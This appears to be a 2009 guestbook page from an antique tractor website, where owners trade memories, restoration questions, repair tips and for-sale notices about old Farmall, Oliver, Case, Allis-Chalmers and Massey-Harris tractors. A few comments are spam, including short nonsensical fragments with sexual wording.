Gerald Hyde wrote on Monday, July 06, 2009 (PDT):I have a set of right and left hand hydraulic plows for a 1939 F-14 tractor. They have been outside for about 8 years, so they are some rusty, but all there in working condition. If anyone is interested, I am in NY state between Ithaca and Binghamton. Jerry Hyde
gary shaver wrote on Monday, July 06, 2009 (PDT):I just aquired a old ford tractor made in England. Number behind oil filter on block is E1ADKN6015. T-1 is under that number. Starter has a lever to push down which pushes the bendix in gear and has a button switch at end of bendix to activate the soleniod. Is a 4 cyl. diesel with a sims injector pump mounted on right side of engine. Has pressed steel front rims with 7;50 x 16 tires. Rear wheel has 6 holes, is 16.9 x 30 tires, pressed steel. transmission dipstick is just in front of shift lever. Can anyone please tell me what year and model I might have starts and runs like a fine watch.
Don wrote on Saturday, July 04, 2009 (PDT):Thanks for all the info on your website. We recently lost a relative and their estate includes an IH TD-35, s/n TDBB5880 that appears to be mostly there and restoreable. It will be part of an estate sale in Lodi, CA. I will resopond to email inquiries.
Rodwell A wrote on Saturday, July 04, 2009 (PDT):Just bought a cub with lots of attachments....but have no idea how to hook any of these up...any help would be great...have a blade...bottom plow...disc plow... cultivators...plow points...and hillers i have figured out
OSFB wrote on Thursday, July 02, 2009 (PDT):We had a 44 gas on the farm when I was growing up. It was row-crop, but had no 3pt. We used it mainly for hay production...pulling the rake and trailers. Operated it from the time I was about 10 years old. Was an easy tractor to drive considering it had power nothing.
mike sarge wrote on Wednesday, July 01, 2009 (PDT):I m looking to buy a 60 s international td-4 or td-5 crawler tractor...please call mike at 763-535-3366..thanks.
Jerry wrote on Monday, June 29, 2009 (PDT):My AC 160 diesel runs great. However, I have a fuel leak on the flexible line after the fuel shutoff valve and am having a very difficult time to find a replacement. Would appreciate any help.
Bob wrote on Monday, June 29, 2009 (PDT):Drove an LA puling a oneway plow in 1948. I liked driving it because was heavy and didn t bounce around. I was 9 years old at the time. Dad liked it because he could pull the oneway, seed drill,and packer hooked together, putting in the crop in one trip. Was a gas hog as I remember.
Norman Moyer wrote on Sunday, June 28, 2009 (PDT): the LA CASE was one great tractor I adapted power steering to one off of a 500 also put power steering on an L sure does make a difference in operating the tractor
geo White wrote on Sunday, June 28, 2009 (PDT):I have a massey-harris-ferguson Pacer tractor, 1957, #16, has a 5 foot syckle bar, hydraulic operated, 2 circuits, for sale, with parts list history. offers
Mike wrote on Sunday, June 28, 2009 (PDT):My grandfather bought a repossessed Pony in the 50 s for 700- 800. He would bring it to our house to plow the gardens and when I was around12 or so I would do the driving about 4 miles between our houses. My Dad eventually ended up with it. This tractor has plowed snow up here in the rugged Maine winters,Hauled many cords of wood, both tree lenght and 4 wood on a trailer wallowing through the mud. Plowed, harrowed and cultivated our family gardens. Oh I almost forgot, when I was around 4,5,or 6 my Dad used her to mow the field hauling an old horse drawn sickle bar mower and horse drawn dump rake. These tractors may be called Pony but they work like a Horse!!
kevin sheldon wrote on Saturday, June 27, 2009 (PDT):my dad has a 1954 super h with live hydrolicks.i have been to many antique tractor shows lots of h s super h s none with live hydro system .dads tractor has hydro pump on distributator drive. does any one know of more super h s like this one
Greg wrote on Thursday, June 25, 2009 (PDT):I am looking for a Yuba tractor in NoCal or SoCal. If you have any leads and they materialize I will make it worthyour while. Greg
Jamie Clark wrote on Thursday, June 25, 2009 (PDT):I have an A Model AC Tractor with an unusual cab. The engine was totally rebuilt with rings, sleeves, timing gears, and ran great. The intake manifold finally let go and needs replaced. Were can I find one I am thinking of selling it if anybody is interested.
Tom Brazeau wrote on Wednesday, June 24, 2009 (PDT):I know of an allis in my grandmother s posession with the exact serial number as that in front of the gearshift. i was wodering if i could get info on the tractor. it is gasoline powered, has four speeds, no powersteering, and a two point hydraulic hitch with snaps
NORMAN MOYER wrote on Wednesday, June 24, 2009 (PDT): cockshut was one of the smoothest like an oliver tractor
Bill Vogel wrote on Tuesday, June 23, 2009 (PDT):Want to buy a D-15 with wide front for loader. Would trade a 1950 WD with or without Arts Way belly mower. Been trying to find a D-15 in Iowa for awhile. Several for sale on Tractorhouse in Michigan and Ohio I would buy in a minute but too far away to inspect and haul.
Bill Wheeler wrote on Tuesday, June 23, 2009 (PDT):Have IH 240, what years were they built Where is the drain for the hydraulics for front attachements/blade etc. Hydralic valve filter access
shoan nelson wrote on Monday, June 22, 2009 (PDT):i live in thief river falls mn and have owned a 1947 b for 13 years with a woods 59 deck belly mount. I have decided to sell it because i have a big zerro turn now. it is in good shape and always has been a great running tractor. i put it out on the road for 2,000 and the people thought i was nuts. i paid 2,000 for the tractor 13 years ago then put the woods belly mount on it that i paid 1,200 for. is my 2,000 out of line anyone know what they are going for
Christopher A. Blazek wrote on Monday, June 22, 2009 (PDT):Hi Everyone...I am a 30 year old Fireman in Chattanooga, TN. I just inheritated my Grandfathers Cub. He passed away about five years ago, and my grandmother is now ready to sell their house and get rid of things. At first we thought about selling the cub but that brought my grandmother to tears, because my grandfather loved the tractor. The tractor hold many good memories for me too, so I told her that I would take it home. Well now it is sitting in my garage and I need to know how to start looking up parts for it. I would love to restore it to it s orginal color and look. I would love any suggestions on where to start my search.
Marge Lienhard wrote on Sunday, June 21, 2009 (PDT):I am looking for 38 wheels for an Oliver 70 RC, or inner tube for a 9.00x40 tire or 9,00x40 or 11x40 tires to replace the tires now on the machine. Thanks!
Carl Besola wrote on Sunday, June 21, 2009 (PDT):They were one heck of a tractor in their day! I always thought their scientific name should be Cantankerous Tractorious Majorus !
B M wrote on Friday, June 19, 2009 (PDT):I just bought a case with a loader on it,,,don t know what madel but from a few pics seen,,guessing DI. It has a cast radiator,no dipstick,weighted wheels,pump on front with a large guard plate that says CASE and a counterweight box on rear that look to say CASE 40.There is a hand lever on the right side.Hand and foot throttle controls. The loader has two cylinders on each side as well as the bucket one. ROAD GRADER rear tires and smooth 9.50-16 front tires. No PTO but is a plate where one could be applied i believe. Seems to run out ok....The hood is not correct,has two holes at rear of it and maybe a little wide. The serial no. tag from dash panel is gone. Info on this would be appreciated. A lead on a proper hood and if pto can be added easily and where to find one would be nice.........
Duncan McClelland. wrote on Thursday, June 18, 2009 (PDT): Re Neville Thompsons tractor I am pleased to see the Sampson is still in the family. I remember it well. Your Grandfather Horace and your Father Ian were clients of mine in the Nuffield BMC days.This is one tractor that is in good hands. Have you still got Grandads MG 1100 .
mohsen wrote on Thursday, June 18, 2009 (PDT):Dear Sir We are a company from Cairo Egypt for importing used trucks cars 1 ton limit regular cap for cutting, dismantle like Isuzu - Toyota so can we get the names of the companies in California witch can provide us with used trucks cars pick-up beginning from 1984; 1998 such as junk yards, scrapes in a good quality and good price and this place has to cut, dismantle, pack in his place specially that we shall come to America at the end of this month. Also can the owner of the place arrange a hotel or flat plus a car for moving We can take monthly about fifty trucks at less. Thank you Best regards Manager / Mohsen Moussa
Peter wrote on Wednesday, June 17, 2009 (PDT):Wanted a picture of an antique cockshutt farm tractor with steel wheels
glenn burbridge jr. wrote on Wednesday, June 17, 2009 (PDT):We have an old 1949AC tractor parts; transmission, frame, rear end, hub and front end. Is anyone interested in these parts They are in fair condition. Can call 740-668-4303
Richard Fuqua wrote on Tuesday, June 16, 2009 (PDT):To Stan Bucy According to Tractor data your H serial #FBH-194075 was made in 1945.
George McPherson wrote on Saturday, June 13, 2009 (PDT):We own a 720 Diesel with pony motor start. It runs and drives well. We will be pulling it in a 8500# no turbo class tonight in Baraboo, Wi. We have owned this tractor almost since new. Many years it was our #2 tractor. Then after some time we left it on the mounted corn picker. Used it to open fields for a pull type. Then retired it to the rear of the shed. We have not ever had it in the shop. Mabe we will o/h it in the future. I repainted it a few years ago so it looks good. My son has it cleaned up and running good. Wish us well tonight. I know we will be up against everything with more power. But we will have fun..
Paul Rodman wrote on Friday, June 12, 2009 (PDT):I ve acquired a 1940 VC case tractor. I need a right rear wheel...klnow w here AI can get one
David Olson wrote on Thursday, June 11, 2009 (PDT):I purchased a 1957 Super 55 Oliver about 5 years ago from my uncle. I have a 7 3pt mounted mower. I believe it is an Oliver. There is a lift cable on the left side of the mower with a yoke/clevis type hook up. Does this attach to the left side mount under the left fender Appreciate your answer, or better yet a photo if anyone out there has one hooked up properly. Thanks.
Stephen Eugene Mc Quay wrote on Thursday, June 11, 2009 (PDT):Any Mc Parts Contact 701-361-1000 found number on the internet
Bob wrote on Wednesday, June 10, 2009 (PDT):In about 1952 I bought an F-20 for 100. It was on rubber and I rebuilt the engine using high comp sleeves and pistons. I also found a kit to put an overdrive case in place of the driveshaft. I used it several times to pull the neighbors F-30 out of the mud or snow. It had smaller tires and got stuck easily. I also replaced the bushing on the steering wheel with a teflon bushing that I made. It took all the vibration out of the wheel. I loved the old beast. I wish I still had it.
Bob wrote on Wednesday, June 10, 2009 (PDT):I borrowed an old Rumley that a neighbor had buried in his barn to build a dam in my pasture. It sure wasn t the light weight . It compacted the dam very well and it is still there. I used it in about 1956-7. I have a picture of one like it threshing oats in Renton. Wa. in about 1980.
Herman Briggerman wrote on Wednesday, June 10, 2009 (PDT):I am looking for a cub low-boy. Perhaps a 154 or 184. I am not sure if these tractors have a hyd. lift so I can run a tiller on the rear Does anyone know if this can be done I would love to find a good one with a belly mower and rear tiller for my garden and farm. Thanks for your consideration, Herman
Bryan wrote on Tuesday, June 09, 2009 (PDT):Am looking for any manuals, reprints, for Custom or Wards tractor. thanks.
hoste hubert wrote on Tuesday, June 09, 2009 (PDT):Hello I has a farm tractor of the leading brand built for the Chagrin Falls restaurant I need pictures and information; Can you help me or give me email addresses Sincerely H HOSTE
Brian wrote on Sunday, June 07, 2009 (PDT):I have a farmall cub and after powerwashing it i found orange paint under the red, is there anyway to tell if it is an industral or a highway tractor
curtis wrote on Sunday, June 07, 2009 (PDT):I, brought a 1952 golden jubilee the man that i brought it from siad that it was ran with no oil so it kick the back piston out of the side block. iam going to restore it but were can find a starter for it ihave all other parts thank you
Juliana Case wrote on Sunday, June 07, 2009 (PDT):We have a 1961 Case 831 tractor that we need to set the timing on. Can anyone give us directions or specfications for this Thank you, Juliana Case
katherynso wrote on Thursday, June 04, 2009 (PDT):relation inc years findings components case
Will V wrote on Tuesday, June 02, 2009 (PDT):I have a Case, Model DI. Serial number 5219389. It has a New Idea Horn loader, built in Fort Dodge. I bought this tractor in 1987. When I bought it, it was Case orange with aluminum rims. I am looking for manuals and other information on this tractor, like year, where it was built, etc. I am also having rear wheel problems, the rims are rotted. I would like to know what kind of road grader rims to put on. Any information would be grately appreciated. Will
J. Lerdal wrote on Tuesday, June 02, 2009 (PDT):Our family farm has a 1957 Super 44 Oliver, built in Battle Creek, MI. This tractor was purchased by my grandfather from Wood Bros. in Bangor, MI. It was an exciting day on the farm when this tractor arrived. Oliver is still in original condition. This tractor is still working on the farm. How many color combinations were there We don t have the red trim, ours is white.
Tim Stoll wrote on Tuesday, June 02, 2009 (PDT):I have a Model #60 for sale SN 6052424 this I m told a very rare tractor something like 262 of this style made. They call it the Model # 60 high seat standard and is shaped like a 620 or 70 gas. I also have a 620 standard for sale and a AR all these tractors are in showroom condition, I have picture of each if anyone would like to see them. These tractors were my dads and he had them nicely done up. I m not as interested in tractors like my dad was so I am looking at selling these tractors. 306;771;5225
Jimmy Jean wrote on Monday, June 01, 2009 (PDT):I needa a fan assembly for 1946 Model B. I use the B for mowing about 4 acres each month.
Gene Cannon wrote on Sunday, May 31, 2009 (PDT):I grew up on a farm in North Carolina in the 50 s. My dad bought me a used Massey Harris Pony when I was about 10 yrs old. I used it to pull tobacco trailers, plow the garden and just to play with ... I always would try to find a steep hill to climb finding a steep hill in the flat lands of eastern N.C. is not easy . I drove it a lot on the country roads when trucking tobacco. We had an old Studebaker car on the farm that I played with on the field paths. I took the horns off the car and mounted them above the headlights on the tractor with a horn button attached to the steering column. I always enjoyed the reactions of drivers along the road when I blew the horns as they passed. Just wanted to share some of my pleasant memories from the past when I had a Massey Harris Pony. Gene Cannon Wendell, NC
cobb wrote on Sunday, May 31, 2009 (PDT):i have a 1960 ford tractor 3000 and just changed the fuel filters, and cannot get fuel to them. HELP!!!
Nick Ardoin wrote on Sunday, May 31, 2009 (PDT):i have a 240 international and i have some qestions for yall. what year was the tractor made how strong is the engine what is the little grey knob on the right side of the drivers cab for, a front loader thank yall!
Joel Wilson wrote on Sunday, May 31, 2009 (PDT):Hello. I just joined an antique tractor club out of Strathclair Manitoba. Our project this year is an advance Rumely oil pull 2030. Were having trouble trying to find sleeves, pistons and a gas overhual kit. If there is anybody that could help me find a supplier it would be greatly appreciated. Joel Wilson
Frank Mac Donald wrote on Saturday, May 30, 2009 (PDT):I need help. I have, so I m told a 1938 Avery row croper. I m not sure what model it is I have had it for a few years now. All I can tell you is a three wheeled and is powered by a inline 4cyl Hercules and all red. I would love to restore it fully. If anyone can help me figure out what it is or where to find parts for it would be greatly appreceated. Thanks for your time!
cinqueneuf wrote on Wednesday, May 27, 2009 (PDT):Just got at D17 and like so many others, would love to know where to find the serial number and a front grill. Any help greatly appreciated.
william cousino wrote on Tuesday, May 26, 2009 (PDT):yesterday tractors is a good place to get parts for wc and others we just restored a 1935 unstiled wc rebuilt the engine and put new seals and fix all the dents and just painted it
Brian wrote on Tuesday, May 26, 2009 (PDT):I just bought a 1951 super C with a 5ft. belly mower and wheel weights i was just wondering if i got a good deal 1400.00 runs great
Neil Thorne wrote on Tuesday, May 26, 2009 (PDT):Would anyone know the paint numbers for the wheels and the tractor.
Marc Millitzer wrote on Monday, May 25, 2009 (PDT):I have an Allis G with an electric conversion. It runs off batteries. I am looking for information on a Kub Klipper Mower I have that fits my tractor. I can t figure out how the belts and pulleys attach, any Help
Rick Hajny wrote on Sunday, May 24, 2009 (PDT):We are looking for a seat for a 1945 Avery. If anyone has one or knows where to find one please contact me at this email. Thank You
Justin Armstrong wrote on Friday, May 22, 2009 (PDT):I have a case di given to me by my uncle it was used by our school district to plow roads to get the buses out to the kids it has a name plate for the army core of engineers and just the model D I if any one could let me know what the tractor was actualy made for i would appreaciate it very much
Levi Akers wrote on Tuesday, May 19, 2009 (PDT):I have an 830 for sale it is restored and ready to work.
Jim Brehmer wrote on Tuesday, May 19, 2009 (PDT):My Dad bought a Rock Island new in 1933. We sold it to a collector in the family in about 1980. It still ran and I recall using it once in about 1958 to pull one of our other tractors out of a mudhole. I recently heard that it has been totally restored and is in Indiana. I think I may still have some parts for it. Possibly a carburetor and magneto.
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Jim Broughton wrote on Thursday, May 14, 2009 (PDT):John at 49 Cub... There is a lot of resistance from the battery cable to the starter, so I use a small 12 volt battery like the ones in a lawn tractor and jumper cables positive to ground and negative to the starter then as soon as it starts up, remove the jumper cables I keep the little battery on a battery charger to keep it up, the battery is light in weight and even has a carrying strap, so it s easy to use. Try it , it might help !! Jim B.
Pierre Aymard wrote on Thursday, May 14, 2009 (PDT):I search a aradiator for antique tractor Allis-chalmers AC 20-35. Thank you for your response.
Brian wrote on Wednesday, May 13, 2009 (PDT):I have a Farmall Cub. It is about a 1954 I think and has a hydraulic lift system. Lately the hydraulic system leaks into the crankcase. I had the hydraulic pump rebuilt by a shop and they said that there is an O ring seal that had failed. We thought the problem was fixed but now it is back again. If it sits for a long period, the hydraulic fluid all ends up in the crankcase again. I m wondering if I am using the wrong hydraulic oil I topped it up with standard AW 100 from Petro Can. Same stuff I use in my excavator. Possibly it should be a thinner oil Maybe even just engine oil #30 for example but I have no book to tell me what is supposed to be in the system. Does anybody out there know what is supposed to be used Any suggestions appreciated.
Ken Swenson wrote on Wednesday, May 13, 2009 (PDT):I am looking to find the location of the serial number on the 22-36 tractor. If anyone knows where it is located, please e-mail me.
John wrote on Monday, May 11, 2009 (PDT):I have a 49 farmall cub. This tractor is in great condition and runs well. I have done tune up, new carb, magneto rebuilt and motor has recently rebuilt. My problem is it is very hard to start. It has a 6 volt starting system and I have to crank it many many times to get it to fire up. After a bunch of tries it drips gas out overflows on carb until it finally starts. Can anyone please help me, I have tried everything I can think of. Thanks for any help.
gary hendrix wrote on Monday, May 11, 2009 (PDT):how much does a 12hp 1910 case steam traction weight also need clutch parts for a 9hp case steam traction.
iqxoqa wrote on Monday, May 11, 2009 (PDT): busty blonde babes Latika and since shed comefrom california, after a cheaper internet access deal choose one.
Phylis Nixon wrote on Monday, May 11, 2009 (PDT):Where can I find info in re; to the antique tractor show in NB soon My husband heard about it on CHSJ, but the have NOTHING on their web page. Let me know soon please.
Chuck W. wrote on Sunday, May 10, 2009 (PDT):FOR SALE; Alice Chalmers D-21, runs well. Has Disk and Plow. Location; Mtn. Home, ID. contact me at 208-587-4173, thanks
Jim Broughton wrote on Saturday, May 09, 2009 (PDT):John ; Check your float, sounds like it s letting in too much gas ! Best of luck, they are neat little tractors ! Jim B. in Oregon
Al wrote on Thursday, May 07, 2009 (PDT):About how much would the Case SC weigh without implements or accessories0
jerome abbott wrote on Thursday, May 07, 2009 (PDT):Have 2.3 litre 4 cyl Peugeot diesel rated 55 hp. What make and model tractor would it be easiest to retro fit in
jerome abbott wrote on Thursday, May 07, 2009 (PDT):I have a 2.3 litre 4 cylinder Peugeot diesel rated at 55 hp in good shape. What brand and model of tractor should I put it in
Kenneth Tillman wrote on Thursday, May 07, 2009 (PDT):I have a celtrac crawler was my wifes dads,looking to find out the where the year and model, is a gas 4 cly.I plan on restore it.any info i would appreciate.Thanks KT
Curtis Jendro wrote on Thursday, May 07, 2009 (PDT):I have a 1955 Int. 300 Utility with front loader and rear hydro. I am very pleased in its capabilities!
Dick wrote on Tuesday, May 05, 2009 (PDT):I grew up on a B . Grandad bought it new in 1947 when I was 4 Y.O. I started driving it at 6 and thought I was king of the hill when he finally let me go in HI gear. Spent many hours on the B . I left home in 65 and lost track of the tractor. I assume my idiot cousin tore it up like he did everything on the farm. Wish I knew.
jideqzyh wrote on Tuesday, May 05, 2009 (PDT):I did, guys locker room erection he could i didnt want to where she ran her fingers clean.
Gavin Mitchell wrote on Tuesday, May 05, 2009 (PDT):Useless or could be usefull info. My gas 52 G s front frame and parts were sand blasted on friday and the name of the steel producer has shown up, Carnegie Steel Co. It s a pitty it s hidden by the cylinder head and block. Didn t know there were LPG G s
chad albert wrote on Monday, May 04, 2009 (PDT):We have a 1066, 1206, 1466, 706g, 706d, 2 m s, 3 c s and a 4386 i dont care for the 86 series on the 7-15s cuz with that cab forward design it made them ride very rough anyone who has a 66 and a 86 will tell u that a 66 was better for a ride but the one advantage to a 86 was the fuel tanks u could run well into the night with them. The left hand shift was a pain to get in and not to handy to shift. When the 50 series came out they went back to the right hand shift and was very well liked. our 1066 runs a healthy 180hp our 1206 is 155hp the 1466 is at 190 cant hold it down with 8 wheel weights and fluid the 4386 is at 235 and all have pyros on the and hit 1200 degs so fast itll make ur head spin to say the least is that all ih s have the same inhearted torque rise in the 400 series engines to out run pull and with less fuel. I rest my case.
harold counsell wrote on Monday, May 04, 2009 (PDT):I have just purchased a Canadian built Pony. I live in the U.K. The year of manufacture is about 1950, but I am looking for a Marvel Schebler carburettor for it can anyone help. Thanks
graham wrote on Saturday, May 02, 2009 (PDT):does anyone have a ser 2 contractors for sale in any condition the rougher the better but i would consider a tidy one .thanks .tel 07976319399.
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John Yuhasz wrote on Thursday, April 30, 2009 (PDT):I have a 49 Farmall Cub. The carb leaks gas out the bottom hole. I plugged this hole and it loaded up on gas and shot fire out the exhaust pipe. I have cleaned this carb out and many times and it won t rev up after it is warmed up and running. The tractor is in great shape and had the magneto rebuilt by professionals. After it gets hot it stalls and refuses to start again. Do I need to buy a new carb. and is a rebuilt one going to give me problems again. I just want to ride it around the country roads by my house for fun. Any help will be greatly appreacieated.
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P Manning wrote on Wednesday, April 29, 2009 (PDT):D21 Story; We farmed around 1000 acres of dry farm ground in Idaho. We had 2 series II D21 tractors decked out with duals and the Egging Cab with every possible extra at the time. To this day I can still hear the sound of the deep throaty should of the engine and turbo as it whistled down when we shut off the engines at the end of the day. One experience that I will always remember was a time when we were breaking open ground out of the then Soil Bank program that the government had similar to the CRP program today. We burned the grass off of a 360 acre parcel and began opening the ground with 18 foot and a new 21 foot Geoffery chisel plows. It was an exciting time as the ground had layed dorment for close to 10 years. We sunk the chisel plows deep and started the project. I was pulling the new 21 foot plow for the first time which worked the tractor hard but I never had to take it out of 4th gear. Coming up out of a small raveen I heard a bang and hydraulic oil squirting everywhere over the back of the cab. The D21 had pulled the hitch right off of the frame of the 21 ft plow breaking the hydraulic lines. As we were working together, my dad was driving the other D21 and saw the whole thing from behind. He pulled up, got out of his tractor and said to me, Dang, who would of thought that would happen . We both were smiling as we thought of just how powerful these tractors really were. Needless to say the hitch was not only replaced but reinforced. Those years were an exciting chapter in my life. Wonderful memories.
Cliff Miller wrote on Tuesday, April 28, 2009 (PDT):Came across an old model H s/n begins FBH and can t read the rest of the plate. Tractor has a large chain driven sprocket on rt. side to power an auxillary piece. Any ideas on age or value
James Witte wrote on Tuesday, April 28, 2009 (PDT):We have a oliver 55 with the optional dozer trac assembly in the town i live in and they told me they are going to sell the trac assembly so i looked up your web site to let some lucky person a chance to buy it.. I my self am a international harvester nut so they won t do me any good email if you want to see pics and ill go down to the city barn and take pics...PS you gota love old tractors!!
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chris harrison wrote on Monday, April 27, 2009 (PDT):I have a Farmall B serial # FAB 218720. New front tires. Road lights fitted. A friend of mine attached a belly mower with drive pulleys from the PTO. The cutting deck is a cub cadet 60C194374100. It has been running OK and cutting a 4 acre field, but I need something newer and this baby needs to be cleaned and shown. Anyone interested
steve wrote on Sunday, April 26, 2009 (PDT):Hi, I am looking at a 47 SC that has been sitting for 6 years outside. I had a bucket over the exhaust and intake pipes and engine turns over with the hand crank. Two questions; 1 one rear break stuck, will be tough to load on trailer--any suggestions for freeing Second, owner said he does not remember draining the radiator 6 years ago---tough indiana winters i am wondering about cracked engine block. I have looked hard don t see obivious cracks but...any help appreciated. Price is fair i believe, all parts are there so i want to buy the tractor. Thanks much..
Bernard Christiano wrote on Sunday, April 26, 2009 (PDT):I have always been curious about the Yuba crawler. Growing up, my neighbor had one, or I should say, the carcass of one, parked out behind his barn. He always had plans to get it running, but needed the ball bearings for the tracks, and being very frugal, wasn t about to purchase them new so he asked anyone he thought might have access to any to keep an eye out for them. He did also tell me that the engine, which he said was a Waukesha, was way over powered for the design of the tractor and he felt contributed to the loss of the rollers. He had planned to put a small 6 cylinder engine in it instead. Anyway, someone talked him out of it by trading him a small crawler in working order and that s all he wanted anyway; something he could put to work. I would like to see a Yuba up close and take some pictures to give to him.
cficembixcab wrote on Sunday, April 26, 2009 (PDT):She wouldeither see what a slight shiver shookjackies body with tears flowing down wife threesome her grandson.
John Harvey, Classic Farm Tractors Calendar wrote on Saturday, April 25, 2009 (PDT):Don, I m anxious to tell the California Classics story of the Best, Holt and Yuba Ball Tread track-type tractors on an upcoming issue of my calendar. Got shots of Holt and Best at Tulary Show, need photo of a Yuba. Know you can help me out ... had photo/story in my newsleeter in 2005 from the brochure of our 2003 sale. This check out
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
Shooter wrote on Friday, April 24, 2009 (PDT):To Rebel May 9.99 comment, if you haven t found the answer yet to the cracked water jacket...yes j/b weld will work. Auto body filler will work as well...simply clean the block very well with a wire wheeel mix the body filler and cover hte cracks.
cecil pittman wrote on Thursday, April 23, 2009 (PDT):ed, your ac- b uses a 5 wt. non- detergent.thats for your lift and rearend and trans.
C. R. McAfee wrote on Thursday, April 23, 2009 (PDT):I have an old Super A. It will crank and run nicely for about two minutes. It quits then, and you have to wait about two or three minutes. It will then crank nicely and run for another two minutes. Replaced coil, points, plugs, etc., to no avail. HELP!!!
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Jim Broughton wrote on Tuesday, April 21, 2009 (PDT):Hooray !! Put the plow on my Cub and plowed my garden yesterday...Then disked it today. Man, you can t beat that quick-tach set-up..only problem is the front-end is a little light when plowing ! Had a great two days playing with my Cub !!
Mark Turner wrote on Tuesday, April 21, 2009 (PDT):I have a friend that has a 1955 MH tractor that was drove to its current location about 3 years ago he is wanting to sell. If you are interested you can email me. The tractor runs on LP and is located in Orange, Texas.
Joe Wolf wrote on Tuesday, April 21, 2009 (PDT):I am looking for any old IH 56,66,06 series diesel tractors with bad engines,TA s,clutches within 200 miles of kellogg,mn. Looking for something to work on. We have 3-1066,2-966,1-986,1-706,2-766,2-656 on our farm and I would like one of my own. Cell 1-507-272-3720
waggy wrote on Tuesday, April 21, 2009 (PDT):i have a 1951 8n they are wonderful tractors , i looked for 20 years and finally got one for my birthday , best birthday present i ever got , thanks hune .
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William C. Jones wrote on Tuesday, April 21, 2009 (PDT):I see the comments from Zac McGinn - I too have an Avery Model A which I am restoring and need info on paint colors. Would appreciate any help you can provide.
larry brown wrote on Monday, April 20, 2009 (PDT):i have a cub that must have been one of the last ones built. my dad bought it in the early 80 s, the serial number is253569. i need some decals but the ones on the gas tank are not like any i have seen advertised. the sticker is 41 1/2 long , blue white and black with international cub written on it anyone know where i can get these
J.Winnicki wrote on Monday, April 20, 2009 (PDT):I have a 1949-50 completely restored Farmall Cub for sale that belong to my grandfather and has been completely restored amd the motor completely rebuilt. Looking to sell it. Also have wheel weights for the back tires which are presently not on the tractor. Other parts like front blade and cultivator also available. Make an offer. Niagara Ontario
Jeff Anderson wrote on Monday, April 20, 2009 (PDT):I have a W-12, It is on rubber tires and it runs great. I am trying to find out the exact year and paint color s. The serial # is WS884 I would like to see some pictures of some restored ones if anyone has some. Thanks Jeff
sammy wrote on Sunday, April 19, 2009 (PDT):looking for fiender-stabliser brackets for 160
John Semerzakis wrote on Sunday, April 19, 2009 (PDT):can any body tell me where to find info and parts for a JD 2010 yellow industrial with JD backhoe and bucket.It s been a real good strong tractor,Ser# w 63668. the diesel engines runs strong.I think it s a 1965 or 1966 any help would be appeciative. Thanks
Bradley Griggs wrote on Sunday, April 19, 2009 (PDT):To; Bryan Michaels, I would like some information on your Oliver 66 tractor. Please contact me. My number is 256-497-1379. Thanks.
Daryl Weaver wrote on Friday, April 17, 2009 (PDT):My Dad has a D17 that is in nice shape and recently overhauled,wide front,nice sheet metal,starts and runs great.I have posted it on craigs list in South Dakota under farm/garden equipment My phone is 605-978-0385-Daryl
Harry Moberg wrote on Thursday, April 16, 2009 (PDT):dkschmidt The Pony wtll not pull a 2 bottom plow. I tryed it and brock the tractor in half by the engine.
Dennis Burns wrote on Thursday, April 16, 2009 (PDT):My brother in law has a farmall H serial # 16865 that was suppose to be a orchard model. The Serial # plate is OBH 16865WI. It has hinge points for what I suppose is a drop down screen over both sides of engine compartment. Can anybody help me with identification of this tractor It only has 3 forward gears
Nathan Ritter wrote on Wednesday, April 15, 2009 (PDT):we have a 1950 model 42 Silver King tractor. we have resently started some work on the water pump and while doing so we realized that the fan belt was the wrong size witch makes the tractor wine and the manual dose not mention its size.would any one know the correct fan belt size
paul. wrote on Tuesday, April 14, 2009 (PDT):just got a 60 row crop ser#appears to be 663322 if they are on that brass plate on engine.looking for info on it ,seems to be a good runner but i know nothing about operating it.know any places to get the tech,stuff
Ken Sperle wrote on Monday, April 13, 2009 (PDT):I just purchased a Farmall F-20. I need to pick it up in another state. Would someone who owns one tell me how wide will a trailer have to be to accomodate the F-20 Thanks, Ken
Patricia Mark wrote on Monday, April 13, 2009 (PDT):When is the next old steam tractor event at the iron horse ranch in 2009
G McCabe wrote on Sunday, April 12, 2009 (PDT):Just got a 560D from my father inlaw, I used this tractor when he was farming and fell in love with it. We are now going to use it as a pull back tractor for our tractor pull sled. IU would like to get a turbo, if anyone has one let me know I would be interested in buying it. Can t beat the awesome sound of a 560D underload with a straight pipe. Thnxs
Kathy wrote on Friday, April 10, 2009 (PDT):I have a W-4 and a super W-4 for sale. Can be reached at 519-848-3891 or leave a message.Also may be able to find parts and information if needed. Have owned and used w-4 for 50 years. Live in Ontario, Canada.
ronald clingan wrote on Friday, April 10, 2009 (PDT):I m in the process of restoring the family 1929 15-25. It has t been running in 25 years. The clutch is seized on it, we ve been soaking and turning and it still won t break loose, does anyone have any ideas short of tearing the tractor apart I m also looking for front steel wheels and a front end or specs to fabricate one, it currently has an international front end. As always, any help is appreciated.
Paul from SD wrote on Wednesday, April 08, 2009 (PDT):I spent 3 summers on one like this and I loved it. We pulled 3 Noble blades with it working summer fallow and it was not a problem for this tractor. It was trouble free and easy to handle without power steering. It was sad day when the boss traded it for a 5010 JD.
randy wrote on Tuesday, April 07, 2009 (PDT):hi i have a leadwer tractor need to find a manifold gasket
markalexander wrote on Tuesday, April 07, 2009 (PDT):Iwas raised on a farm in west tn.My dad ran a shop and worked on tractors. he loved his 55 oliver and his 530 and 620 john deere. I have my uncles 504 IH. I hope to own a 530 and super 55 some day.
DANNY KEITHLEY wrote on Monday, April 06, 2009 (PDT):Im looking at a D17 with loader will the the hydraulic pump that works the loader rise and lower a john deere haybind.
mark ellenbarger wrote on Monday, April 06, 2009 (PDT):We are a Massey Ferguson dealer in Fort Worth, Texas looking for a 98 to build. We will do pulling and show here at our dealership. If you have one for sale please contact us.
Thomas Barksdale wrote on Sunday, April 05, 2009 (PDT):To Jackie Napier in Yatesville Ga; Do you still have Leader tractor for sale If so what is price and condition. Please send photo if possible.
Dean wrote on Sunday, April 05, 2009 (PDT):I just bought a nice Oliver super 55 at the local spring farm auction. It s in very good shape but I can t figure out how to engage the PTO. I can t find a lever or anything anywhere on it. The shaft spins when the tractor is running but you can stop it easily. It doesn make any bad noises or feel bad when you do. Am I just not seeing it or did I buy one that has problems Thanks.
mark ellenbarger wrote on Sunday, April 05, 2009 (PDT):Looking for a Massey Ferguson 98. We are a Massey Ferguson dealer and want to buy any condition to build to pull and show at our dealership.
mark ellenbarger wrote on Sunday, April 05, 2009 (PDT):Looking for a Massey Ferguson 98. We are a Massey Ferguson dealer and want to buy any condition to build to pull and show at our dealership.
